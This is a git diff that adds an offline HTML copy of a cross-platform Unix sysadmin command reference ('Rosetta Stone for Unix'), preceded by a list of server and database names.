1 ACLOGIK + 1 ACILIMWEB + 1 ACETEC1 + 1 ACESOFTCO + 1 ACECAD + 1 ACE + 1 ACCW + 1 ACCSRV + 1 ACCSQLSERVER + 1 ACCOUNTSERVER + 1 ACCOUNTS + 1 ACCOSQL + 1 ACCLIPSE + 1 ACCESSI + 1 ACCESSCONTROL + 1 ACCELERATOR + 1 ACCA_MSDE + 1 ACC2 + 1 AC1 + 1 ABTTTEST + 1 ABTRAC + 1 AB_SQL + 1 ABSE + 1 ABS + 1 ABRV_SQL + 1 ABPAYROLL + 1 ABOUTTIME_DB + 1 ABOUTTIME3 + 1 ABITO_WIELICZKA + 1 ABISQL + 1 ABCSUJEET + 1 ABBEPCADCZ + 1 ABACOS + 1 AAWEBSQLSVR + 1 AANPQADB + 1 AANNEMERS + 1 AADI_CREDIT + 1 AAAAAAAAAAAAAAA1 + 1 AAA + 1 A3DATA + 1 A0SERVER2 + 1 A0SERVER1 + 1 A02 + 1 A01 + + diff --git a/references/rosetta.htm b/references/rosetta.htm new file mode 100755 index 0000000..02bd871 --- /dev/null +++ b/references/rosetta.htm @@ -0,0 +1,4035 @@ + + + + Rosetta Stone for Unix + + + + + +

This content is static and here for offline purposes. The source is at http://bhami.com/rosetta.html

+
+ +
+ + + + + + + + + + + + + + + + + + +
+ + This +custom drawing feature now works in Mozilla/Firefox, +in Opera 7.0 or better, and in IE 5 or better. Use click, shift-click, +control-click, and the "set" and "clear" buttons to select the desired +subset of OSs. Then select "Draw table" to redraw the window with your +custom table.
 
+
+ + + + + + + + + + + + + + + + + + + + + +
A Sysadmin's Unixersal Translator +(ROSETTA STONE) OR   What do they call +that in this world?
Contributions and corrections gratefully accepted. + Please help us fill in the blanks. New "tasks" are welcome, too!
+ PDF version + (for best results print US legal size, landscape orientation. If your + browser plug-in has trouble with the PDF, then download it and load it + in stand-alone acroread).
+ Framed version.
+ OS versions in parentheses; e.g. 10+ means version 10 and + greater; 9- means version 9 and previous. $=extra cost. + (obs) = obsolete
+ If not specified, commands are in one of the following directories: /usr/bin, + /usr/sbin, /bin, /sbin
+ Files referenced may be either commands, configuration files, or + directly-referenced text files. Use the man command to read the + man pages for details such as command options.
Categories:
hardware, +firmware, devicesdiskskernel, +boot, swapfiles, +volumes
networkingsecurity, +backupsoftware, +patching, tracing, loggingreferences
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TASK \ OSAIXA/UXDG/UXFreeBSDHP-UXIRIXLinuxMac OS XNCR UnixNetBSDOpenBSDReliantSCO OpenServerSolarisSunOS 4Tru64UltrixUNICOSOS / TASK
OS notesBy IBM, with input from System V, BSD, etc. Runs mainly + on IBM RS/6000 and related hardware.Apple 1988-1995. Based on AT&T SysV.2.2 with extensions from V.3, V.4, and BSD + 4.2 and 4.3Data General was aquired by EMC in 1999.Derived from 4.4BSD-Lite and 386BSD. This table does not + include external packages from /usr/ports.Hewlett-PackardSGI. SVR4-based

(rh) = Red Hat,
+ Mandrake, SUSE,...
+ (deb) = Debian, Libranet,...
+ (fed) = Fedora
+ (gen) = Gentoo
+ (md) = Mandrake/Mandriva
+ (SUSE) = SUSE

Darwin is the Open Source foundation for Mac OS X, + descended from NeXTStepaka MP-RASDerived from 4.4BSD-Lite and 386BSD. This table does not + include external packages from /usr/pkg.Forked from NetBSD in 1995. Security emphasis. This table + does not include external packages from /usr/ports.Fujitsu Siemens. Originally called SINIX. Based on DC/OSX from Pyramid, SINIX
+ from Siemens, and SVR4. To be replaced with Solaris by 2008.		SCO UnixWare 7.0.1& SCO UnixWare 7.1.1 became Caldera + Open Unix and later became SCO again. SVR4-based.

Solaris 2.0-2.6, 7, 8, 9, 10, 11
+ OpenSolaris + (SunOS 5.*)
+ SVR4-based.
+ An open-source version can
+ be found at illumos.org

Solaris 1.*
+ BSD-based 		(Digital Unix, OSF/1)
+ (4)= 4.0F/G
+ (5)= 5.0A 		An early DEC Unix, superceded by Digital Unix (now Tru64).Cray Inc., formed from the March 2000 merger of Tera Computer + Company and Cray ResearchOS notes
administrative GUIsmit
+ smitty
+ wsm 		Findersysadmsysinstall

sam

+

smh (11.31+)

 /usr/sysadm/bin/sysmgr (6.3+)
+ toolchest
+ /usr/Cadmin/bin/* 		(rh, FC2+, RHEL4+) system-config*
+ (rh) redhat-config*
+ linuxconf (obsolete)
+ (SUSE) yast2
+ (deb) dpkg-reconfigure
+ (md) drakconf

NetInfo Manager

sysadmsushi (obs)? +

sysadm
+ WebSysAdmin

scoadmin +

solstice
+ admintool
+ smc (8 01/01+)

?checklist
+ (5) sysman		?checklist
+ /etc/install/install
+ xmenu 		administrative GUI
managing usersuseradd (5+)
+ userdell (5+)
+ usermod (5+)
+ lsuser
+ mkuser
+ chuser
+ rmuser
+ usrck
Finder
+ /etc/adduser
+ edit /etc/passwd 		useradd
+ userdel

adduser
+ chpass
+ rmuser
+ pw
+ vipw

+ 		useradd
+ userdel
+ usermod
+ getprpw
+ modprpw
+ pwget		 +

/usr/sysadm/privbin/
+ addUserAccount

+

passmgmt

+

/usr/Cadmin/bin/cpeople

 +

useradd
+ usermod
+ userdel
+ adduser
+ chage
+ getent

Aqua: System
+ Preferences / Accounts
+ niutil (OS X Server)
+ dscl		useradd
+ userdel
+ usermod
+ sysadm 		useradd
+ userdel
+ userinfo
+ usermod
+ user
+ vipw		useradd
+ userdel
+ adduser (interactive)
+ usermod
+ user		sysadm
+ useradd
+ userdel 		scoadmin
+ useradd
+ userdel
useradd
+ userdel
+ usermod
+ getent
+ logins
+ /usr/sadm/bin/smuser (9+)
+ groupadd		edit /etc/passwd and create home directory +

useradd
+ adduser
+ userdel
+ removeuser
+ dxaccounts

adduser
+ removeuser 		xadmin
+ udbgen
+ udbrstrict
+ nu scripts		managing users
TASK \ OS AIXA/UXDG/UXFreeBSDHP-UXIRIXLinux
+ 		Mac OS XNCR UnixNetBSDOpenBSDReliantSCO OpenServer
+ 		SolarisSunOS 4Tru64
+ 		UltrixUNICOSOS / TASK 
list hardware configuration

prtconf
+ lscfg
+ lsattr
+ lsdev
+ lspath

+ 		?dg_sysreport -g hardware

uname
+ sysctl -a
+ dmesg
+ cat /var/run/dmesg.boot
+ pciconf -l
+ usbconfig
+ camcontrol devlist
+

+ 		+

ioscan
+ dmesg (if you're lucky)
+ adb
+ model
+ stm (from the SupportPlus CDROM)
+ bdf (like most vendors' df)
+ getconf
+ machinfo (11.23+)
+ print_manifest

hinv

+

sysinfo -vv

+

arch
+ uname
+ dmesg (if you're lucky)
+ cat /var/log/dmesg
+ /proc/*
+ lshw
+ dmidecode
+ lspci
+ lspnp
+ lsscsi
+ lsusb
+ lsmod
+ (SUSE) hwinfo
+ /sys/devices/*

hostinfo
+ ioreg -bls
+ system_profiler
prtconf
+ devstat
+ machinetype
+ more /etc/.osm		dmesg
+ more
+ /var/run/dmesg.boot
+ cat /kern/msgbuf		sysctl hw
+ dmesg
+ cat /var/run/dmesg.boot
+ pcidump
+ acpidump		 +

autoconf -l
+ showconf
+ uname -p
+ uname -M
+ mpcntl -I

 +

hwconfig
+ hw
+ scoadmin/DCU

+

/usr/lib/X11/testtools/
+ z35SysInfo

+

prtconf -v
+ /usr/platform/`uname -i`/
+ sbin/prtdiag -v (sun4u and sun4d only)
+ arch -k
+ psrinfo -v
+ isainfo -v
+ dmesg
+ iostat -En
+ prtfru
+ cfgadm -l
+ /etc/path_to_inst
+ smbios +

dmesg (if you're lucky)  +

dia -R full
+ vmstat -P
+ hwmgr -get category
+ (5) hwmgr -show
+ devices
+ psrinfo
+ pset_info
+ sys_check
+ /usr/bin/X11/dxsysinfo

dmesg (if you're lucky) +

machid
+ getconf
+ uname -a

list hardware configuration 
unique id useful for licensinguname -u
+ uname -m
+ lsattr -El sys0 -a systemid		??cat /etc/hostid
+ sysctl kern.hostuuid 		uname -i ??

system_profiler SPHardwareDataType |
+ grep "Serial Number:" |
+ awk '{print $4}'

?????hostidhostidconsvar -g sys_serial_num??unique id useful for licensing
show/set
+ EEPROM/NVRAM
+ values		bootlist -o -m normal
n/adg_sysctl |
+ grep BOOTPATH		eeprom (SPARC only)setboot
+ stm		nvram
+ printenv/setenv (at command monitor)		/dev/nvram (if you have it)
+ hwclock
+ nvsetenv 		nvram?eepromeeprom

in bdm
+ (at boot stop
+ or ctrl-a)		?eepromeeprom(4.0D+) consvar??show/set
+ EEPROM/NVRAM
+ values
add device without rebootcfgmgr -v
+ mkdev		?N/Acamcontrol
+ atacontrol
+ kldload
+ /etc/rc.d/devfs restart 		+

inf -e
+ ioscan -fnC devtype;
+ insf -C devtype
+

scsiha -pr
+ ioconfig -f /hw
+ scsiadminswap
+ -b bus -p
udev (2.6+)
+ udevtrigger
+ modprobe
+ kerneld
+ insmod
+ hotplug
+ cardctl
(automatic autdodiskmounter)devmgmt
+ mktable 		scsictl
+ atactl 		(auto-detected)reinitdev
+ changedev 		mkdev

(10+) add_drv
+ devfsadm. pre-Solaris 7 HW 11/99, use:
+ drvconfig; devlinks; {disks, tapes, ports}

+

/usr/lib/symsm/bin/hot_add (RDAC)
+ /etc/symsm/rmparams (RDAC)
+

/dev/MKDEV +

(3.2.*) scu scan edt
+ (4.0) scu scan edt; disklabel -rw rzXX label (for + disks)
+ (5.x) dsfmgr -k; disklabel -rw dskn auto
+ hwmgr -scan scsi

/dev/MAKEDEV?add device without reboot
remove device rmdev??camcontrol stop
+ camcontrol eject 		rmsf????????

(10+) rem_drv
+ devfsadm

????remove device
tape device/dev/rmt0/dev/rdsk/c8d?s0/dev/rmt/0/dev/rsa0
+ /dev/*wt*
+ /dev/*sa[0-9]*		/dev/rmt/0m/dev/tape
+ /dev/nrtape 		/dev/st0?/dev/rmt/c*/dev/st0/dev/[e][n][r]st[0-9]*/dev/ios0/rstape001
+ autoconf -1 |
+ grep TAPE		/dev/rct0/dev/rmt/0/dev/rst0(5.x) /dev/ntape /dev/tape/dev/nrmtXh where n=non-rewinding, + X a number, h=densitytpmnttape device
stdin/ stdout/ stderr???/dev/fd/[012]?/dev/fd/[012]/dev/fd/[012]/dev/fd/[012]?/dev/fd/[012]/dev/stdin
+ /dev/stdout
+ /dev/stderr
+ /dev/fd/[012]		??/dev/fd/[012]????stdin/ stdout/ stderr
X kvm config???Xorg -configure
+ xf86config		itemap/usr/bin/X11/xsetmon
+ /usr/gfx/setmon

xorgcfg
+ xorgconfig
+ Xorg -configure
+ system-config-display
+ xf86config
+ XFree86 -configure
+ redhat-config-xfree86
+ /etc/X11/?dm

? xf86config
+ xf86cfg
+ XFree86 -configure		X -configure?hwconfigkdmconfig (x86)
+ fbconfig; m64config; (etc.)		????X kvm config
TASK \ OS AIXA/UXDG/UXFreeBSDHP-UXIRIXLinux
+ 		Mac OS XNCR UnixNetBSDOpenBSDReliantSCO OpenServer
+ 		SolarisSunOS 4Tru64
+ 		UltrixUNICOSOS / TASK 
read a disk label lspv?admpdisk -o list
+ admvdisk -o list		disklabel -r
+ gpart show (7.0+)

scsimgr (11.31+)
+ diskinfo
+ pvdisplay

prtvtocfdisk -lpdisk rawDev -dump
+ Disk Utility		prtvtocdisklabel -r
+ disk
+ mbrlabel
+ fdisk 		disklabel diskNamedkpart -lfsnameprtvtocdkinfodisklabel -rchpt -q?read a disk label 
whole disk in partition hdisk[0,1,2,...]??c ? 10/dev/hda (e.g. if /dev/hda1
+ is a partition)		(non-root partitions are mounted under /Volumes)s0c or d
+ sysctl kern.rawpartition 		c /dev/ios0/rsdisk???s7
+ (???=000-999) 		/dev/1s# (#=0,1,...)2cccs7whole disk in partition 
label a disk mkvg?admpdiskfdisk
+ disklabel -wr
+ sysinstall
+ gpart add (7+)
+ sade (6.3+)		pvcreate +

dvhtool
+ fx -x

cfdisk
+ fdisk
+ e2label 		diskutil +

sysadm
+ fdisk
+ edvtoc
+ prtvtoc
+ mkpart
+ updatescsi
+ labelit

disklabel -wr
+ mbrlabel 		disklabel -E diskNamedksetupdivvyformat
+ prtvtoc
+ (x86) fdisk		 format disklabel -rwchpt -a/etc/labelitlabel a disk 
partition a disk mklvdp
+ Finder: Apple HD SC Setup 		admpdisk fdisk
+ sysinstall
+ gpart add (7.0+)
+ sade (6.3+)		smh (11.31+)
+ lvcreate
+ sam 		fxparted (if you have it)
+ cfdisk
+ fdisk
+ pdisk (on a MAC)
+ (deb) mac-fdisk (on a MAC)
+ (md) diskdrake		pdiskfdiskdisklabel -ifdisk -e diskNamedkpart -edivvyformat
+ fmthard		formatdisklabel -echpt -p/etc/install/installpartition a disk 
TASK \ OS AIXA/UXDG/UXFreeBSDHP-UXIRIXLinux
+ 		Mac OS XNCR UnixNetBSDOpenBSDReliantSCO OpenServer
+ 		SolarisSunOS 4Tru64
+ 		UltrixUNICOSOS / TASK 
kernel/unix/unix/dgux /boot/kernel/kernel/hpux (9)
+ /stand/vmunix (10+)		/unix +

/boot/vmlinuz*
+ /boot/bootlx

+

(see /etc/lilo.conf or /boot/grub/menu.lst)

/mach_kernel/unix
+ /stand/unix		/netbsd/bsd +

/unix

+

/stand/unix

/unix/kernel/genunix
+ /platform/`uname -m`/
+  kernel/unix
+ /platform/`uname -m`/
+  kernel/sparcv9/unix (7+) 		/vmunix/vmunix/vmunix/unicoskernel
show/set kernel parametersvmo
+ ioo
+ schedo
/etc/kconfig
+ Finder		vi /var/Build/
+ system.hostname;;
+ reboot		 +

/boot/loader.conf
+ sysctl
+ /etc/sysctl.conf

smh (11.31+)
+ sam
+ sysdef
+ kmtune (11+)
+ kctune (11.23+)
+ getconf		systune/proc/*
+ /proc/sys/*
+ sysctl
+ /etc/sysctl.conf 		/usr/sbin/sysctl
+ launchctl limit
+ /etc/launchd.conf		sysdef
+ getconf
+ /etc/conf/cf.d/
+ quicktune.cfg 		sysctl
+ /etc/sysctl.conf 		sysctl
+ /etc/sysctl.conf		idtune
+ cat /etc/opt/cf.d/stune
+ cat /etc/opt/cf.d/mtune
+ sysdef -i

/etc/conf/cf.d/configure -x

+

sysdef

 +

sysdef
+ getconf
+ cat /etc/system
+ ndd
+ adb -k

 +

adb

+

/usr/kvm/sys/
+ `arch -k`/conf

dxkerneltuner
+ sysconfig 		adb
+ kdb		?show/set kernel parameters
limit physical memory rmss?????mem= (in lilo.conf or /boot/grub/grub.conf) nvram bootargs="maxmem=MB"??machine memory (at the "boot" prompt) ??/etc/project
+ zonecfg		????limit physical memory
loaded kernel modules genkex
+ vxketadm -s 		??kldstatkmadmin -s
+ kcmodule -a (11.23+)		?lsmodkextstat?modstatmodstat?modadminmodinfo????loaded kernel modules
load module vxketadm modname load
+ cfgmgr
+ mkdev -l devname		??kldloadkmadmin -L
+ kcmodule module=loaded (11.23+)		?modprobe
+ insmod		kextload?modloadmodload?modadminmodload????load module
unload module rmdev -l devname??kldunloadkmadmin -U
+ kcmodule module=unused (11.23+)		?rmmod
+ modprobe -r 		kextunload?modunloadmodunload?modadminmodunload????unload module
make disk bootablebosboot -a?dg_sysctlboot0cfg
+ disklabel
+ gpart bootcode (7+)
+ sade (6.3+)		mkbootdvhtool +

(rh) mkbootdisk
+ (deb) fdisk -A
+ (and lilo to manipulate mbr)

blessdklayoutfdisk -i
+ installboot 		/usr/mdec/installboot5
+ /usr/mdec/biosboot5		dksetup?installboot /usr/platform/
+ `uname -i`
+ /lib/fs/ufs/bootblk raw_device_file		/usr/kvm/mdec
+ installboot [-hltv]
+ protobootblk
+ bootdevice 		(4.x+) disklabel -rw -t [ufs|advfs]??make disk bootable
startup scripts /etc/rc*
+ /etc/inittab		?/etc/rc*/etc/rc* (4-)
+ /etc/rc.d/* (5+)
+ /usr/local/etc/rc.d/*		 +

/etc/rc* (9)

+

/etc/rc.config.d (preferred)
+ /sbin/rc* (10+)
+ /sbin/init.d/

/etc/rc*
+ /etc/init.d/ 		/etc/rc* (but may vary)
+ /etc/init.d/
+ chkconfig
+ service		/System/Library/
+ StartupItems/*,
+ /Library/StartupItems/,
+ /etc/rc*		 +

/etc/rc*
+ /etc/init.d

 
+ /etc/rc
+ /etc/rc.*
+ /etc/rc.d/* 		 
+ /etc/rc*
+ /etc/netstart		/etc/rc*/etc/rc*/etc/rc*
+ /etc/init.d/
+ (10+) svcadm
+ (10+) svcs		/etc/rc*/sbin/init.d; links in /sbin/rc?.d/etc/rc*?startup scripts 
start/ stop/ config servicesstartsrc
+ stopsrc
+ lssrc
+ refresh
+ srcmstr		??service (8.1+)?chkconfig(rh) service
+ (rh) chkconfig
+ (deb) sysv-rc-conf		launchctl?????svcs (10+)
+ svcadm (10+)		????start/ stop/ config services
shutdown (& power off if possible) shutdown -Fh /etc/shutdown -h
+ Finder		?shutdown -p now shutdown -yh 0 /etc/shutdown -y -g0 -i0 -p shutdown -Ph now
+ shutdown -y -g0 -i0
+ halt
+ poweroff		halt?shutdown -p now shutdown -hp now ?shutdown -i0 shutdown -y -g0 -i5 ????shutdown (& power off if possible)
run levels 1
+ *=normal states
+ for more detail
+ see
+ www.phildev.net/runlevels.html		2: multiuser
+ 6: reboot		??

0: halt and power off
+ 1: single-user mode
+ 6: reboot
+ c: block further logins
+ q: rescan ttys(5) file

+

kernel security levels:
+ -1*: permanently insecure
+ 0: insecure
+ 1: secure
+ 2: highly secure
+ 3: network secure

0: shut down
+ s,S: single-user
+ 1: sys admin
+ 2: multiuser
+ 3*: share NFS
+ 4*: start GUI
+ 5: user-defined
+ 6: user-defined		0: power-down
+ s,S: single-user
+ 1: sys admin
+ 2: multiuser (no NFS)
+ 3*: multiuser
+ 4: user-defined
+ 5: firmware monitor		(set in /etc/inittab)
+ 0: halt
+ s,S,1: vendor-dependent
+ 1: single-user
+ 2-5*: multiuser
+ 6: reboot		?(set in /etc/inittab)
+ 0: shutdown
+ s,S: single-user
+ 1: sys admin
+ 2*: multi-user
+ 3: share NFS
+ 4: user-defined
+ 5: firmware
+ 6: reboot
-1: permanently insecure
+ 0*: insecure
+ 1*: secure
+ 2: highly secure		-1: permanently
+ insecure
+ 0*: insecure
+ 1*: secure
+ 2: highly secure		0: power-down
+ s,S: single-user
+ 1: sys admin
+ 2*: multiuser
+ 3+4*: user-defined
+ 5: firmware update
+ 6: reboot		? +

0: firmware monitor
+ s,S: single-user
+ 1: sys admin
+ 2: multiuser
+ 3*: share NFS
+ 4*: user-defined
+ 5: power-down if possible
+ 6: reboot

?0: shut down
+ 1: single user
+ 2: multi-user, no NFS
+ 3: multi-user
+ 6: reboot		0: shut down
+ 1: single user
+ 2: multi-user, no NFS
+ 3: multi-user
+ 6: reboot		? +

run levels 1
+ *=normal states
+ for more detail
+ see
+ www.phildev.net/runlevels.html

show runlevel 1who -r who -r sysctl kern.securelevelwho -rwho -r/sbin/runlevel(runlevels unused)who -rsysctl kern.securelevelsysctl kern.securelevelwho -rwho -rwho -r?who -r?who -rshow runlevel 1
time zone info/etc/environment ($TZ)/etc/TIMEZONE/etc/TIMEZONE/etc/localtime
+ /usr/share/zoneinfo 		/usr/lib/tztab/usr/lib/locale/TZ/
+ /etc/TIMEZONE 		/usr/share/zoneinfo/
+ /etc/localtime		/usr/share/zoneinfo//usr/lib/locale/TZ/etc/localtime
+ /usr/share/zoneinfo/		/usr/share/zoneinfo/
+ /etc/localtime 		??/usr/share/lib/zoneinfo/?/etc/zoneinfo??time zone info
check swap space lsps -a/etc/swap -l admswap -o list -buv
+ dg_sysreport -p freeswap
+ systat -swap		swapinfo
+ pstat -s		swapinfoswap -s
+ swap -l		swapon -s
+ cat /proc/meminfo
+ cat /proc/swaps
+ free 		ls -l /var/vm
+ vm_stat 		swap -s
+ swap -l
+ sar -r		swapctl -l
+ pstat -s
+ systat swap 		swapctlswap -s
+ swap -l		swap -lswap -s
+ swap -l		pstat -sswapon -s?/etc/swappercheck swap space 
core dump managementchcore   coreadm /proc/sys/kernel/core_pattern
+ /proc/pid/coredump_filter		      coreadm    core dump management
bind process to CPU bindprocessor??cpusetpsrset -b
+ mpsched -c
+ intctl		runontaskset (sched-utils) ??????pbind?runon
+ pset_create
+ pset_info
+ psradm
??bind process to CPU
TASK \ OS AIXA/UXDG/UXFreeBSDHP-UXIRIXLinux
+ 		Mac OS XNCR UnixNetBSDOpenBSDReliantSCO OpenServer
+ 		SolarisSunOS 4Tru64
+ 		UltrixUNICOSOS / TASK 
"normal" filesystem jfsufsdg/uxufs/ffs/ufs2 (5+)
+ ext2
+ zfs (7+)		 +

hfs
+ vxfs (11.0+)

efs, xfsext2
+ ext3
+ ReiserFS 		ufs
+ hfs+ 		vxfsffs (was ufs)ffs (was ufs)vxfs
+ ufs (root)		htfs (OpenServer 5)
+ vxfs		ufs
+ zfs (OpenSolaris)		4.2 +

(4) ufs
+ (5) AdvFS

ufsNC1FS
+ C2FS 		"normal" filesystem 
volume-based filesystem jfs2?admvdisk +

ccd
+ vinum
+ geom (5+)
+ zfs (7+)

jfs (vxfs)
+ LVM
+ VxVM + ($)		xlv, xvm, xfsLVM, LVM2
+ EVMS
+ VxVM + ($) 		?vdisk
+ VxVM
+ ccd, raidframe
+ ccd
+ raid
+ softraid		vdiskvdiskzfs(10+)
+ Solstice DiskSuite
+ VxVM + ($)		? Advfs
+ LSM 		N/A?volume-based filesystem 
file system
+ description		/etc/filesystems
+ mount
+ lsfs		/etc/fstab/etc/fstab/etc/fstab
+ zfs (7+)		/etc/checklist
+ (9) 
+ /etc/fstab
+ (10+)		/etc/fstab /etc/fstabNetInfo/etc/vfstab/etc/fstab /etc/fstab /etc/vfstab
+ /etc/dktab 		+

/etc/mnttab
+ /etc/default/filesys
+ /etc/vfstab (local)
+ /etc/rmtab (remote)

/etc/vfstab (local)/etc/fstab /etc/fstab
+ AdvFS: /etc/fdmns 		/etc/fstab /etc/fstabfile system
+ description
volume manipulation +

smitty vg
+ smitty lvm
+ smitty jfs
+ smitty storage
+ mkvg; chvg;
+ reducevg; extendvg
+ exportvg; importvg +
+ mklv; chlv; rmlv
+ mkfs; crfs; rmfs

?sysadm +

vinum
+ ccdconfig
+ geom (5.3+)
+ gstripe (5.3+)
+ gmirror (5.3+)
+ graid3 (5.3+)
+ zpool

vg*; lv*; pv*
+ extendfs
+ fsadm 		+

xlv_mgr
+ xvm

e2fsadm
+ lvcreate
+ lvremove
+ lvextend 		Disk Utility
+ pdisk
+ diskutil

vxva

+

dkconfig

ccdconfig
+ raidctl		ccdconfig
+ raidctl
+ bioctl		dkconfig
+ dkmirror
+ dkmap 		? +

zpool (10+)

+

meta*
+ (Solstice DiskSuite;
+ Solaris Volume Mgr (9+))
+ (7-, found in
+ /usr/opt/SUNWmd/
+  sbin/)

+

/opt/VRTSvxva/bin/vxva
+ (Veritas Volume Mgr) ($)

?AdvFS: mkfdmn, mkfset, addvol, showfdmn
+ LSM: volassist or volmake, volume, volplex and volsd, volprint		?/etc/install/installvolume manipulation
create filesystemcrfs/etc/newfs
+ /etc/mkfs		admfilesystemnewfs
+ zfs (7+)		mkfs
+ newfs 		mkfsmke2fs
+ mkreiserfs
+ mkdosfs
+ mkfs.*		newfs
+ newfs_hfs
+ newfs_mdos		mkfsnewfs
+ makefs 		newfsmkfs
+ newfs 		divvy (OpenServer 5)
+ mkfs		newfs
+ mkfs
+ zfs (10u2+)		newfs
+ mkfs 		AdvFS: mkfdmn
+ UFS: newfs
+ MFS: mfs		newfs
+ mkfs 		bb
+ mkfs
+ labelit		create filesystem
file system debugging and + recoverydfsck
+ fsck
+ fsdb 		fsckfsck
+ fsdb 		fsck
+ fsdb
+ clri 		fsck
+ fsdb		fsck
+ fsdb
+ clri
+ xfs_repair
fsck
+ debugfs
+ e2undel 		fsck
+ fsdb
+ clri 		?fsck
+ fsdb
+ clri		fsck
+ fsdb
+ clri
+ scan_ffs		?fsck
+ fsdb		fsck
+ fsdb
+ clri		????file system debugging and + recovery
create non-0-length empty + filelmktemp??truncate -s size[K|M|G] filename
+ dd if=/dev/zero of=filename bs=size[b|k|m|g] \
+ count=desired		preallocmkfiledd if=/dev/zero of=filename
+ bs=1024k count=desired		mkfile
+ dd if=/dev/zero of=filename bs=1024 count=desired		dd if=/dev/zero
+ of=filename bs=1024
+ count=desired		dd if=/dev/zero of=filename bs=1m + count=desired

dd if=/dev/zero
+ of=filename bs=1024
+ count=desired

+

dd if=/dev/zero of=filename bs=1 + count=1 seek=desired-1
+ (sparse file)

mkfile
+ dd if=/dev/zero of=filename bs=1k		dd if=/dev/zero of=filenmae bs=1024 + count=desiredmkfilemkfiledd if=/dev/zero of=filename bs=1024k + count=desired??create non-0-length empty + file
convert DOS-format text to Unix formatstrings dosfile.txt > unixfile.txt???dos2ux?dos2unix??????dos2unix????convert DOS-format text to Unix format
mount CDROM +

mount -v cdrfs -o ro
+ /dev/cd0 /cdrom

+

smitty cdrom

Findermount -t cdrom
+ /dev/pdsk/disk/cdrom		mount /cdrom
+ mount_cd9660		 +

pfs_mountd
+ pfsd
+ pfs_mount
+ mount /dev/dsk/cxtydz4
+ /SD_CDROM

+

mount -orr /dev/cdrom /mnt/cdrom (requires "Rock Ridge extension" patches, + 11+)

 +

(see man mediad)

+

(mounts automatically when CD inserted)

mount /mnt/cdrom
+ (deb) mount /cdrom

(automatic automounter)

+

diskutil mount /dev/disk1s0

mount -F cdfs
+ /dev/cdrom/cdromX
+ /cdrom		mount -t cd9660 -o ro /dev/cd0a pathmount /dev/cd0a pathmount -F hs ...
+ sysadm 		mount /dev/cd0 path/etc/init.d/vold start; volcheck or
